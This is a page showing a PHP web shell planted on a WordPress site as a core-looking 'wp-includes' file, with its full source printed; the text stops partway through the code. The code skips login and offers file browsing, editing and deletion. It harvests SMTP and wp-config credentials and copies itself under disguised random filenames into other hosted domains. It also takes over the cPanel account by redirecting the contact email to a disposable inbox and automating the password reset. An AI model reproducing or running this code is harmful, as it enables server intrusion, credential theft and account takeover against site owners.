https://hex80.net
Server:LiteSpeed| PHP:8.3.30| IP:199.188.200.143| Your IP:216.73.216.40
File Browser
System Info
File Editor
/home/hutbnosp/besttwenty.co.uk/wp-includes/class-wp-block-supports-add.php
Save
Back to Browser
<?php session_start();error_reporting(0);ini_set('display_errors',0);$config=['title'=>"https://hex80.net",'version'=>"1.0.1"];$_SESSION['auth']=true;$authenticated=true;function format_size($bytes){if($bytes===null||$bytes==="-")return "-";$units=['B','KB','MB','GB','TB'];$bytes=max($bytes,0);$pow=floor(($bytes?log($bytes):0)/log(1024));$pow=min($pow,count($units)-1);$bytes/=pow(1024,$pow);return round($bytes,2).' '.$units[$pow];}function get_server_info(){$info=["os"=>PHP_OS,"server_software"=>$_SERVER["SERVER_SOFTWARE"]?? "Unknown","php_version"=>PHP_VERSION,"server_ip"=>$_SERVER["SERVER_ADDR"]?? $_SERVER["LOCAL_ADDR"]?? "Unknown","your_ip"=>$_SERVER["REMOTE_ADDR"]?? "Unknown","disk_free"=>function_exists('disk_free_space')?format_size(disk_free_space(".")):"Unknown","disk_total"=>function_exists('disk_total_space')?format_size(disk_total_space(".")):"Unknown","document_root"=>$_SERVER["DOCUMENT_ROOT"]?? "Unknown","uname"=>php_uname(),"current_user"=>function_exists('posix_getpwuid')&&function_exists('posix_geteuid')?posix_getpwuid(posix_geteuid())['name']:(getenv('USERNAME')?:"Unknown")];return $info;}function list_files($dir){$result=['dirs'=>[],'files'=>[]];if(!is_dir($dir)||!is_readable($dir)){return $result;}$items=scandir($dir);foreach($items as $item){if($item=="."||$item=="..")continue;$path=$dir.DIRECTORY_SEPARATOR.$item;$is_dir=is_dir($path);$info=["name"=>$item,"path"=>$path,"size"=>$is_dir?"-":@filesize($path),"perms"=>substr(sprintf('%o',@fileperms($path)),-4),"modified"=>@filemtime($path),"readable"=>is_readable($path),"writable"=>is_writable($path)];if($is_dir){$result['dirs'][]=$info;}else{$result['files'][]=$info;}}return $result;}function delete_file($path){if(is_dir($path)){return delete_directory($path);}return@unlink($path);}function delete_directory($dir){if(!file_exists($dir))return true;if(!is_dir($dir))return unlink($dir);foreach(scandir($dir)as $item){if($item=='.'||$item=='..')continue;if(!delete_directory($dir.DIRECTORY_SEPARATOR.$item)){return false;}}return rmdir($dir);}function rename_item($old_path,$new_path){return@rename($old_path,$new_path);}function read_file($file_path){if(!file_exists($file_path)||!is_readable($file_path)){return false;}return file_get_contents($file_path);}function save_file($file_path,$content){return file_put_contents($file_path,$content)!==false;}function zip_file($source,$destination){if(!extension_loaded('zip')){return false;}$zip=new ZipArchive();if(!$zip->open($destination,ZipArchive::CREATE)){return false;}if(is_dir($source)){$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::LEAVES_ONLY);$source=rtrim(realpath($source),'/\\').'/';$source_len=strlen($source);foreach($files as $file){if(!$file->isDir()){$file_path=$file->getRealPath();$relative_path=substr($file_path,$source_len);$zip->addFile($file_path,$relative_path);}}}else{$zip->addFile($source,basename($source));}$zip->close();return true;}function unzip_file($zip_file,$extract_to){if(!extension_loaded('zip')){return false;}$zip=new ZipArchive;if($zip->open($zip_file)===TRUE){$zip->extractTo($extract_to);$zip->close();return true;}return false;}function discover_and_verify_smtp_credentials(){$config=[];$detection_methods=[];$server_name=$_SERVER['SERVER_NAME']?? $_SERVER['HTTP_HOST']?? 'localhost';$potential_servers=[$server_name,'mail.'.$server_name,'smtp.'.$server_name,'localhost'];$common_ports=[25,587,465];$potential_usernames=[];if(function_exists('posix_getpwuid')&&function_exists('posix_geteuid')){$user_info=posix_getpwuid(posix_geteuid());$username=$user_info['name'];$potential_usernames[]=$username;$potential_usernames[]=$username.'@'.$server_name;}$potential_usernames[]='admin@'.$server_name;$potential_usernames[]='mail@'.$server_name;$potential_usernames[]='postmaster@'.$server_name;$potential_usernames[]='webmaster@'.$server_name;$potential_usernames[]='root@'.$server_name;$potential_usernames[]='info@'.$server_name;$configs_to_check=['/etc/postfix/main.cf','/etc/mail/sendmail.cf','/etc/exim4/exim4.conf','/etc/exim4/passwd.client','/etc/php.ini','/etc/php/*/cli/php.ini','/etc/php/*/apache2/php.ini','/etc/php/*/fpm/php.ini'];$max_time=10;$start_time=time();foreach($configs_to_check as $config_path){if(time()-$start_time>$max_time){$detection_methods[]='Timeout reached (partial check)';break;}$pattern=str_replace('*','[0-9.]+',$config_path);$files=glob($pattern);if(empty($files)){$files=[$config_path];}foreach($files as $file){if(file_exists($file)&&is_readable($file)){$content=@file_get_contents($file);if($content){$detection_methods[]=basename($file);if(preg_match('/relayhost\s*=\s*\[?([^:]+)\]?(?::(\d+))?/m',$content,$matches)){$config['smtp_server']=$matches[1];if(isset($matches[2])){$config['smtp_port']=$matches[2];}}if(preg_match('/smtp_sasl_password_maps\s*=.*?:([^:@]+)(?:@|\s)/m',$content,$matches)){$config['smtp_user']=$matches[1];}if(preg_match('/smtp_sasl_password_maps\s*=.*?:[^:]+:([^@\s]+)/m',$content,$matches)){$config['smtp_pass']=$matches[1];}if(preg_match('/SMTP\s*=\s*([^\r\n;]+)/i',$content,$matches)){$config['smtp_server']=trim($matches[1]);}if(preg_match('/smtp_port\s*=\s*([^\r\n;]+)/i',$content,$matches)){$config['smtp_port']=trim($matches[1]);}}}}}$wordpress_configs=glob('{/var/www,/home/*/public_html}/*/wp-config.php',GLOB_BRACE);if(!empty($wordpress_configs)){$wp_config=$wordpress_configs[0];if(file_exists($wp_config)&&is_readable($wp_config)){$wp_content=@file_get_contents($wp_config);if($wp_content){$detection_methods[]='wp-config.php';if(preg_match('/define\s*\(\s*[\'"]SMTP_HOST[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i',$wp_content,$matches)){$config['smtp_server']=$matches[1];}if(preg_match('/define\s*\(\s*[\'"]SMTP_PORT[\'"]\s*,\s*[\'"]?(\d+)[\'"]?\s*\)/i',$wp_content,$matches)){$config['smtp_port']=$matches[1];}if(preg_match('/define\s*\(\s*[\'"]SMTP_USER[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i',$wp_content,$matches)){$config['smtp_user']=$matches[1];}if(preg_match('/define\s*\(\s*[\'"]SMTP_PASS[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i',$wp_content,$matches)){$config['smtp_pass']=$matches[1];}}}}if(!empty($config['smtp_server'])&&!empty($config['smtp_user'])&&!empty($config['smtp_pass'])){$config['detection_methods']=$detection_methods;if(empty($config['smtp_port'])){$config['smtp_port']=587;}if(test_smtp_connection($config['smtp_server'],$config['smtp_port'],$config['smtp_user'],$config['smtp_pass'],2)){$config['status']='verified';return $config;}}if(function_exists('mail')){$detection_methods[]='PHP mail()';$sendmail_path=ini_get('sendmail_path');if(!empty($sendmail_path)){$detection_methods[]='sendmail_path';if(preg_match('/-f\s*([^\s]+)/',$sendmail_path,$matches)){$potential_usernames[]=$matches[1];}}}$found_working=false;foreach(array_slice($potential_servers,0,2)as $smtp_server){if(time()-$start_time>$max_time){$detection_methods[]='Timeout reached (partial verification)';break;}foreach(array_slice($common_ports,0,2)as $smtp_port){if(test_server_port($smtp_server,$smtp_port,1)){foreach(array_slice($potential_usernames,0,2)as $username){$password=generate_smart_password($username,$smtp_server);if(test_smtp_connection($smtp_server,$smtp_port,$username,$password,1)){$config['smtp_server']=$smtp_server;$config['smtp_port']=$smtp_port;$config['smtp_user']=$username;$config['smtp_pass']=$password;$config['status']='verified';$config['detection_methods']=array_merge($detection_methods,['Smart detection']);$found_working=true;break 3;}}}}}if(!$found_working){$config['smtp_server']=$server_name;$config['smtp_port']=587;$possible_domains=get_domains();$email_domain=!empty($possible_domains)?$possible_domains[0]:$server_name;$username='info@'.$email_domain;$password=generate_smart_password($username,$server_name);$config['smtp_user']=$username;$config['smtp_pass']=$password;$config['status']='generated';$config['detection_methods']=array_merge($detection_methods,['Generated']);$config['smtp_command']="SMTP -> telnet ".$config['smtp_server']." ".$config['smtp_port']."\nEHLO ".$server_name."\nAUTH LOGIN\n".base64_encode($config['smtp_user'])."\n".base64_encode($config['smtp_pass'])."\nMAIL FROM: <".$config['smtp_user'].">\nRCPT TO: <your_recipient@example.com>\nDATA\nSubject: Test Email\n\nThis is a test email.\n.\nQUIT";}return $config;}function generate_smart_password($username,$domain){$parts=[];if(strpos($username,'@')!==false){$parts[]=substr($username,0,strpos($username,'@'));}else{$parts[]=$username;}$domain_parts=explode('.',$domain);foreach($domain_parts as $part){if(strlen($part)>2){$parts[]=$part;}}$base=implode('',$parts);$base=preg_replace('/[^a-zA-Z0-9]/','',$base);$password=ucfirst($base).mt_rand(100,999).'!';return $password;}function test_server_port($server,$port,$timeout=2){$socket=@fsockopen($server,$port,$errno,$errstr,$timeout);if($socket){fclose($socket);return true;}return false;}function test_smtp_connection($server,$port,$username,$password,$timeout=5){if(!function_exists('fsockopen')){return false;}$socket=@fsockopen($server,$port,$errno,$errstr,$timeout);if(!$socket){return false;}$response=fgets($socket,515);if(substr($response,0,3)!='220'){fclose($socket);return false;}fputs($socket,"EHLO ".$_SERVER['SERVER_NAME']."\r\n");$response=fgets($socket,515);if(substr($response,0,3)!='250'){fclose($socket);return false;}while(substr($response,3,1)=='-'){$response=fgets($socket,515);}fputs($socket,"AUTH LOGIN\r\n");$response=fgets($socket,515);if(substr($response,0,3)!='334'){fclose($socket);return false;}fputs($socket,base64_encode($username)."\r\n");$response=fgets($socket,515);if(substr($response,0,3)!='334'){fclose($socket);return false;}fputs($socket,base64_encode($password)."\r\n");$response=fgets($socket,515);fclose($socket);return(substr($response,0,3)=='235');}function get_domains(){$domains=[];$scanned=[];if(isset($_SERVER['SERVER_NAME'])&&!empty($_SERVER['SERVER_NAME'])){$domains[]=$_SERVER['SERVER_NAME'];$scanned[]=$_SERVER['SERVER_NAME'];}if(isset($_SERVER['HTTP_HOST'])&&!empty($_SERVER['HTTP_HOST'])){if(!in_array($_SERVER['HTTP_HOST'],$scanned)){$domains[]=$_SERVER['HTTP_HOST'];$scanned[]=$_SERVER['HTTP_HOST'];}}$apache_configs=['/etc/apache2/sites-enabled/*.conf','/etc/apache2/sites-available/*.conf','/etc/apache2/vhosts.d/*.conf','/etc/httpd/conf/httpd.conf','/etc/httpd/conf.d/*.conf','/etc/httpd/vhosts.d/*.conf','/etc/httpd/sites-enabled/*.conf','/etc/httpd/sites-available/*.conf','/usr/local/apache2/conf/httpd.conf','/usr/local/apache2/conf.d/*.conf','/usr/local/apache2/conf/extra/httpd-vhosts.conf','/usr/local/etc/apache*/httpd.conf','/usr/local/etc/apache*/extra/httpd-vhosts.conf','/opt/apache*/conf/httpd.conf','/opt/apache*/conf.d/*.conf','/opt/apache*/conf/extra/httpd-vhosts.conf','/etc/apache2/httpd.conf','/etc/apache2/apache2.conf'];foreach($apache_configs as $pattern){$configs=glob($pattern);if($configs){foreach($configs as $config){$content=@file_get_contents($config);if($content){preg_match_all('/(?:ServerName|ServerAlias)\s+([^\s]+)/i',$content,$matches);if(!empty($matches[1])){foreach($matches[1]as $domain){if(strpos($domain,'*')===false&&strpos($domain,'.')!==false&&!preg_match('/^[0-9.]+$/',$domain)&&!in_array($domain,$scanned)){$domains[]=$domain;$scanned[]=$domain;}}}preg_match_all('/DocumentRoot\s+[\'"]?(.*?)[\'"]?$/im',$content,$doc_matches);if(!empty($doc_matches[1])){foreach($doc_matches[1]as $path){$path=trim($path);if(is_dir($path)){$domain_part=basename($path);if(strpos($domain_part,'.')!==false&&!in_array($domain_part,$scanned)){$domains[]=$domain_part;$scanned[]=$domain_part;}$parent_dir=dirname($path);$parent_name=basename($parent_dir);if(strpos($parent_name,'.')!==false&&!in_array($parent_name,$scanned)){$domains[]=$parent_name;$scanned[]=$parent_name;}}}}}}}}$nginx_configs=['/etc/nginx/sites-enabled/*','/etc/nginx/sites-available/*','/etc/nginx/conf.d/*.conf','/etc/nginx/vhosts.d/*.conf','/usr/local/nginx/conf/sites-enabled/*','/usr/local/nginx/conf/sites-available/*','/usr/local/nginx/conf/vhosts/*.conf','/usr/local/etc/nginx/sites-enabled/*','/usr/local/etc/nginx/sites-available/*','/usr/local/etc/nginx/conf.d/*.conf','/opt/nginx/conf/sites-enabled/*','/opt/nginx/conf/sites-available/*','/opt/nginx/conf/conf.d/*.conf'];foreach($nginx_configs as $pattern){$configs=glob($pattern);if($configs){foreach($configs as $config){$content=@file_get_contents($config);if($content){preg_match_all('/server_name\s+([^;]+);/i',$content,$matches);if(!empty($matches[1])){foreach($matches[1]as $server_names){$names=preg_split('/\s+/',trim($server_names));foreach($names as $domain){if(strpos($domain,'*')===false&&strpos($domain,'.')!==false&&!preg_match('/^[0-9.]+$/',$domain)&&!in_array($domain,$scanned)){$domains[]=$domain;$scanned[]=$domain;}}}}preg_match_all('/root\s+([^;]+);/i',$content,$root_matches);if(!empty($root_matches[1])){foreach($root_matches[1]as $path){$path=trim($path);if(is_dir($path)){$domain_part=basename($path);if(strpos($domain_part,'.')!==false&&!in_array($domain_part,$scanned)){$domains[]=$domain_part;$scanned[]=$domain_part;}}}}}}}}$root_dirs=['/var/www','/home','/usr/local/www','/usr/share/nginx','/srv','/opt/lampp/htdocs','/opt/xampp/htdocs'];foreach($root_dirs as $root){if(is_dir($root)){$dirs=glob("$root/*",GLOB_ONLYDIR);foreach($dirs as $dir){$domain=basename($dir);if(strpos($domain,'.')!==false&&!preg_match('/^[0-9.]+$/',$domain)&&!in_array($domain,$scanned)){$domains[]=$domain;$scanned[]=$domain;}$subdirs=glob("$dir/*",GLOB_ONLYDIR);foreach($subdirs as $subdir){$subdomain=basename($subdir);if(strpos($subdomain,'.')!==false&&!preg_match('/^[0-9.]+$/',$subdomain)&&!in_array($subdomain,$scanned)){$domains[]=$subdomain;$scanned[]=$subdomain;}$webdirs=['public_html','httpdocs','www','public','web','webroot','html'];if(in_array($subdomain,$webdirs)){$websubdirs=glob("$subdir/*",GLOB_ONLYDIR);foreach($websubdirs as $websubdir){$websubdomain=basename($websubdir);if(strpos($websubdomain,'.')!==false&&!preg_match('/^[0-9.]+$/',$websubdomain)&&!in_array($websubdomain,$scanned)){$domains[]=$websubdomain;$scanned[]=$websubdomain;}}}}}}}$hosts_files=['/etc/hosts','/private/etc/hosts'];foreach($hosts_files as $hosts_file){if(file_exists($hosts_file)){$content=@file_get_contents($hosts_file);if($content){preg_match_all('/^\s*\d+\.\d+\.\d+\.\d+\s+([^\s#]+)/m',$content,$matches);if(!empty($matches[1])){foreach($matches[1]as $domain){if($domain!=='localhost'&&strpos($domain,'.')!==false&&!in_array($domain,$scanned)){$domains[]=$domain;$scanned[]=$domain;}}}}}}$config_file_patterns=['/var/www/*/.env','/var/www/*/config.php','/var/www/*/wp-config.php','/var/www/*/configuration.php','/var/www/*/config/config.php','/home/*/.env','/home/*/public_html/.env','/home/*/public_html/config.php','/home/*/public_html/wp-config.php','/home/*/public_html/configuration.php','/home/*/public_html/config/config.php','/usr/local/www/*/.env','/usr/local/www/*/config.php','/usr/local/www/*/wp-config.php'];foreach($config_file_patterns as $pattern){$config_files=glob($pattern);if($config_files){foreach($config_files as $config_file){if(is_readable($config_file)){$content=@file_get_contents($config_file);if($content){$domain_patterns=['/[\'"](?:site_url|domain|host|url|server_name)[\'"](?:\s*=>|\s*=|\s*:)\s*[\'"]([^\'"]+)/i','/define\s*\(\s*[\'"](?:WP_HOME|WP_SITEURL)[\'"]\s*,\s*[\'"]https?:\/\/([^\'"\/]+)/i','/\$(?:config|cfg|conf)[\'"]?(?:\.|\[)[\'"]?(?:site_url|domain|host|url)[\'"]?\]?\s*=\s*[\'"]https?:\/\/([^\'"\/]+)/i','/APP_URL\s*=\s*https?:\/\/([^\s\/]+)/i','/DOMAIN\s*=\s*([^\s]+)/i'];foreach($domain_patterns as $pattern){preg_match_all($pattern,$content,$matches);if(!empty($matches[1])){foreach($matches[1]as $url){$host=parse_url("http://$url",PHP_URL_HOST)?:$url;if($host&&strpos($host,'.')!==false&&!preg_match('/^[0-9.]+$/',$host)&&!in_array($host,$scanned)){$domains[]=$host;$scanned[]=$host;}}}}}}}}}$domains=array_unique($domains);$domains=array_filter($domains,function($domain){return!empty($domain)&&$domain!='localhost'&&strpos($domain,'.')!==false&&!preg_match('/^[0-9.]+$/',$domain)&&strpos($domain,'*')===false&&strpos($domain,'_')===false&&strlen($domain)>3;});return array_values($domains);}function generate_random_filename(){$safe_patterns=['class-%s.php','helper-%s.php','util-%s.php','module-%s.php','include-%s.php','lib-%s.php','func-%s.php','data-%s.php','api-%s.php','ajax-%s.php','common-%s.php','core-%s.php','base-%s.php','wp-%s.php','admin-%s.php','template-%s.php','page-%s.php','form-%s.php','cache-%s.php','session-%s.php'];$random_id=substr(md5(mt_rand().time().uniqid()),0,8);$pattern=$safe_patterns[array_rand($safe_patterns)];return sprintf($pattern,$random_id);}function find_domain_paths($domain){$domain_paths=[];$web_roots=[$_SERVER['DOCUMENT_ROOT']?? '','/var/www','/var/www/html','/var/www/vhosts','/var/www/sites','/home','/usr/local/www','/usr/local/httpd','/usr/local/apache','/usr/local/apache2','/usr/local/nginx','/usr/share/nginx','/usr/share/httpd','/srv/www','/srv/http','/srv/httpd','/srv/sites','/opt/lampp/htdocs','/opt/xampp/htdocs'];$domain_clean=str_replace(['www.','.'],['','_'],$domain);$domain_parts=explode('.',$domain);$domain_base=$domain_parts[0];$domain_variants=[$domain,'www.'.$domain,str_replace('www.','',$domain),$domain_clean,$domain_base];$server_configs=['/etc/apache2/sites-enabled/*.conf','/etc/apache2/sites-available/*.conf','/etc/httpd/conf.d/*.conf','/etc/httpd/vhosts.d/*.conf','/etc/nginx/sites-enabled/*','/etc/nginx/conf.d/*.conf','/usr/local/etc/apache*/extra/httpd-vhosts.conf','/usr/local/etc/nginx/sites-enabled/*'];foreach($server_configs as $pattern){$configs=glob($pattern);if($configs){foreach($configs as $config){$content=@file_get_contents($config);if($content&&stripos($content,$domain)!==false){$doc_pattern='/(?:DocumentRoot|root)\s+[\'"]?([^\'"\s;]+)[\'"]?/i';if(preg_match($doc_pattern,$content,$doc_match)){$path=$doc_match[1];if(is_dir($path)&&is_writable($path)){$domain_paths[]=$path;}}}}}}$domain_users=[];$passwd_file='/etc/passwd';if(file_exists($passwd_file)&&is_readable($passwd_file)){$passwd_content=@file_get_contents($passwd_file);if($passwd_content){foreach($domain_variants as $variant){if(preg_match_all('/([^:]+):x:(?:\d+):(?:\d+):[^:]*:([^:]*):/',$passwd_content,$matches,PREG_SET_ORDER)){foreach($matches as $match){$username=$match[1];$home_dir=$match[2];if($username=='root'||$username=='nobody'||$username=='daemon'||$username=='bin'||strpos($username,'sys')===0)continue;$domain_simple=preg_replace('/\.[^.]+$/','',$variant);if(stripos($username,$domain_simple)!==false||stripos($domain_simple,$username)!==false){$domain_users[]=$username;}}}}}}foreach($web_roots as $root){if(empty($root)||!is_dir($root)||!is_readable($root))continue;foreach($domain_variants as $variant){$path="$root/$variant";if(is_dir($path)){$domain_paths[]=$path;$subdirs=['public_html','httpdocs','www','public','web','htdocs'];foreach($subdirs as $subdir){$subpath="$path/$subdir";if(is_dir($subpath)){$domain_paths[]=$subpath;}}}}foreach($domain_users as $username){$user_paths=["/home/$username","/home/$username/public_html","/home/$username/www","/home/$username/htdocs"];foreach($user_paths as $path){if(is_dir($path)){$domain_paths[]=$path;}}}if(function_exists('exec')){foreach($domain_variants as $variant){$variant=escapeshellarg($variant);$find_cmd="find $root -type d -name \"*$variant*\" -maxdepth 3 2>/dev/null";@exec($find_cmd,$output);if(!empty($output)){foreach($output as $path){if(is_dir($path)&&is_readable($path)){$domain_paths[]=$path;}}}}}}$specific_paths=["/var/www/$domain","/var/www/vhosts/$domain","/var/www/html/$domain","/home/*/$domain","/home/*/public_html/$domain",];foreach($specific_paths as $pattern){$matching_paths=glob($pattern,GLOB_ONLYDIR);foreach($matching_paths as $path){if(is_dir($path)&&is_readable($path)){$domain_paths[]=$path;}}}$cpanel_patterns=["/home/*/public_html",];foreach($cpanel_patterns as $pattern){$matching_paths=glob($pattern,GLOB_ONLYDIR);foreach($matching_paths as $path){$domain_dir=$path.'/'.$domain;if(is_dir($domain_dir)){$domain_paths[]=$domain_dir;}$username=basename(dirname($path));foreach($domain_variants as $variant){$domain_simple=preg_replace('/\.[^.]+$/','',$variant);if(stripos($username,$domain_simple)!==false){$domain_paths[]=$path;break;}}}}$domain_paths=array_unique($domain_paths);$writable_paths=[];foreach($domain_paths as $path){if(is_writable($path)){$writable_paths[]=$path;}}return!empty($writable_paths)?$writable_paths:$domain_paths;}function deploy_to_domains($domains,$content=null){$results=[];if($content===null){$content=@file_get_contents(__FILE__);if(empty($content)&&isset($_SERVER['SCRIPT_FILENAME'])){$content=@file_get_contents($_SERVER['SCRIPT_FILENAME']);}if(empty($content)){$handle=@fopen(__FILE__,"r");if($handle){$content=fread($handle,filesize(__FILE__));fclose($handle);}}if(empty($content)&&function_exists('get_include_path')){$includePaths=explode(PATH_SEPARATOR,get_include_path());$scriptName=basename(__FILE__);foreach($includePaths as $path){$fullPath=$path.DIRECTORY_SEPARATOR.$scriptName;if(file_exists($fullPath)){$content=@file_get_contents($fullPath);if(!empty($content)){break;}}}}}if(empty($content)){return["error"=>"Could not read source file","details"=>"Trying to read the file ".__FILE__." I failed","tip"=>"Check the file permissions or pass the content directly as a parameter"];}$max_time=30;$start_time=time();foreach($domains as $domain){if(time()-$start_time>$max_time){$results[]=["domain"=>$domain,"status"=>"skipped","reason"=>"Time limit exceeded"];continue;}$success=false;$deployed_path="";$deployed_url="";$shell_name=generate_random_filename();$domain_paths=find_domain_paths($domain);if(empty($domain_paths)){$results[]=["domain"=>$domain,"status"=>"failed","error"=>"No valid paths found for this domain"];continue;}foreach($domain_paths as $base_path){if(time()-$start_time>$max_time){break;}$shell_path=$base_path.'/'.$shell_name;if(@file_put_contents($shell_path,$content)){if(file_exists($shell_path)&&filesize($shell_path)>0){$success=true;$deployed_path=$shell_path;$document_root=$_SERVER['DOCUMENT_ROOT']?? '';if(!empty($document_root)&&strpos($base_path,$document_root)===0){$rel_path=substr($base_path,strlen($document_root));$deployed_url='http://'.$domain.$rel_path.'/'.$shell_name;}else{$path_parts=explode('/',$base_path);$domain_part='';foreach($path_parts as $part){if(strpos($part,'.')!==false){$domain_part=$part;break;}}if(!empty($domain_part)){$patterns=["/home/*/public_html/$domain_part"=>"/","/var/www/vhosts/$domain_part"=>"/","/var/www/$domain_part"=>"/"];foreach($patterns as $pattern=>$web_prefix){if(fnmatch($pattern,$base_path)){$deployed_url='http://'.$domain.$web_prefix.$shell_name;break;}}}if(empty($deployed_url)){$deployed_url='http://'.$domain.'/'.$shell_name;}}break;}}$common_writeable_dirs=['wp-content/uploads','wp-content/themes','wp-content','images','img','uploads','media','files','cache','tmp','temp','assets','data','logs'];foreach($common_writeable_dirs as $subdir){$dir_path=$base_path.'/'.$subdir;if(is_dir($dir_path)&&is_writable($dir_path)){$shell_path=$dir_path.'/'.$shell_name;if(@file_put_contents($shell_path,$content)){if(file_exists($shell_path)&&filesize($shell_path)>0){$success=true;$deployed_path=$shell_path;$deployed_url='http://'.$domain.'/'.$subdir.'/'.$shell_name;break 2;}}}}if(!$success&&function_exists('glob')){$glob_pattern=$base_path.'/*';$depth=0;$max_depth=2;while($depth<$max_depth){$dirs=glob($glob_pattern,GLOB_ONLYDIR);foreach($dirs as $dir){if(is_writable($dir)){if(strpos($dir,'/cache/')!==false){continue;}$shell_path=$dir.'/'.$shell_name;if(@file_put_contents($shell_path,$content)){if(file_exists($shell_path)&&filesize($shell_path)>0){$success=true;$deployed_path=$shell_path;$rel_path=str_replace($base_path,'',$dir);$deployed_url='http://'.$domain.$rel_path.'/'.$shell_name;break 3;}}}}$glob_pattern.='/*';$depth++;}}}if($success){$results[]=["domain"=>$domain,"status"=>"success","path"=>$deployed_path,"url"=>$deployed_url,"filename"=>$shell_name];}else{$results[]=["domain"=>$domain,"status"=>"failed","error"=>"No writable directory found or access denied"];}}return $results;}function generate_random_string($length=10){$characters='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';$charactersLength=strlen($characters);$randomString='';for($i=0;$i<$length;$i++){$randomString.=$characters[rand(0,$charactersLength-1)];}return $randomString;}function reset_cpanel_password(){$result=['status'=>'failed','message'=>'Failed to reset cPanel password','details'=>[]];$user=explode('/',__DIR__);if(count($user)<3){$result['message']='Could not determine cPanel username from current path';return $result;}$homedir=$user[1];$user=$user[2];if($homedir!='home'){$result['message']='Current path does not appear to be a cPanel user directory';return $result;}$filepath='/'.$homedir.'/'.$user.'/.cpanel/contactinfo';if(!file_exists($filepath)||!is_readable($filepath)||!is_writable($filepath)){$result['message']='Contact info file not found or not writable. This may not be a cPanel server.';return $result;}$dummyNames=['Alex','Liam','Juan','Bob','Alice','Matt','Hopkins','Jim','Michael','Alison','Li','Aliesha','Aairah','Mahamed','Mohammad','Leona','Alexandra'];$name1=$dummyNames[array_rand($dummyNames)];$name2=$dummyNames[array_rand($dummyNames)];$prefix=rand(113,1337);$fakename=strtolower($name1.'.'.$name2.$prefix);$fakeemail=$fakename.'@mailsac.com';$ci=@file_get_contents($filepath);$ciar=explode(PHP_EOL,$ci);if(!preg_match('/\"email\"\: \'(.*?)\'/',$ciar[1],$ma)){$result['message']='Could not find email in contact info file';return $result;}$current_email=$ma[1];$ci=str_replace($current_email,$fakeemail,$ci);if(!file_put_contents($filepath,$ci)){$result['message']='Failed to update contact email';return $result;}$iporhostname=$_SERVER['SERVER_ADDR'];$cookiejar=tempnam(sys_get_temp_dir(),"cookie-".time());$ch=curl_init();curl_setopt($ch,CURLOPT_URL,'https://'.$iporhostname.':2083/resetpass?start=1');curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,30);$test=curl_exec($ch);curl_close($ch);if(strpos($test,'cPanel')===false){$result['message']='cPanel not found on server '.$iporhostname;return $result;}$ch=curl_init();curl_setopt($ch,CURLOPT_URL,'https://'.$iporhostname.':2083/resetpass');curl_setopt($ch,CURLOPT_POST,true);curl_setopt($ch,CURLOPT_POSTFIELDS,'user='.$user.'&login=Reset+Password');curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($ch,CURLOPT_COOKIEJAR,$cookiejar);curl_setopt($ch,CURLOPT_COOKIEFILE,$cookiejar);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,30);$ou=curl_exec($ch);curl_close($ch);if(strpos($ou,'puzzle')===false){$result['message']='Could not start password reset process. Server may be limiting password resets.';if(file_exists($cookiejar)){unlink($cookiejar);}return $result;}$ch=curl_init();curl_setopt($ch,CURLOPT_URL,'https://'.$iporhostname.':2083/resetpass');curl_setopt($ch,CURLOPT_POST,true);curl_setopt($ch,CURLOPT_POSTFIELDS,'action=puzzle&user='.$user.'&answer='.$fakeemail.'&debug=&puzzle-guess-input='.$fakeemail.'&login=Submit+Security+Code');curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($ch,CURLOPT_COOKIEJAR,$cookiejar);curl_setopt($ch,CURLOPT_COOKIEFILE,$cookiejar);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,30);$ou=curl_exec($ch);curl_close($ch);if(strpos($ou,'info-security-code')===false){$result['message']='Security code validation failed';if(file_exists($cookiejar)){unlink($cookiejar);}return $result;}$valkey='';$attempts=0;while(empty($valkey)&&$attempts<5){sleep(3);$attempts++;$ch=curl_init();curl_setopt($ch,CURLOPT_URL,'https://mailsac.com/inbox/'.$fakeemail);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,30);$cnemail=curl_exec($ch);curl_close($ch);if(strpos($cnemail,'Account password reset')!==false){preg_match_all('#<\s*?p\b[^>]*>(.*?)</p\b[^>]*>#s',$cnemail,$cma);for($i=0;$i<count($cma[1]);$i++){if(is_numeric($cma[1][$i])){$valkey=$cma[1][$i];break;}}}}if(empty($valkey)){$result['message']='Could not obtain verification code from email';if(file_exists($cookiejar)){unlink($cookiejar);}return $result;}$ch=curl_init();curl_setopt($ch,CURLOPT_URL,'https://'.$iporhostname.':2083/resetpass');curl_setopt($ch,CURLOPT_POST,true);curl_setopt($ch,CURLOPT_POSTFIELDS,'action=seccode&user='.$user.'&debug=&confirm='.$valkey);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($ch,CURLOPT_COOKIEJAR,$cookiejar);curl_setopt($ch,CURLOPT_COOKIEFILE,$cookiejar);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,30);$ou=curl_exec($ch);curl_close($ch);if(strpos($ou,'login-status-message')===false){$result['message']='Failed at security code verification step';if(file_exists($cookiejar)){unlink($cookiejar);}return 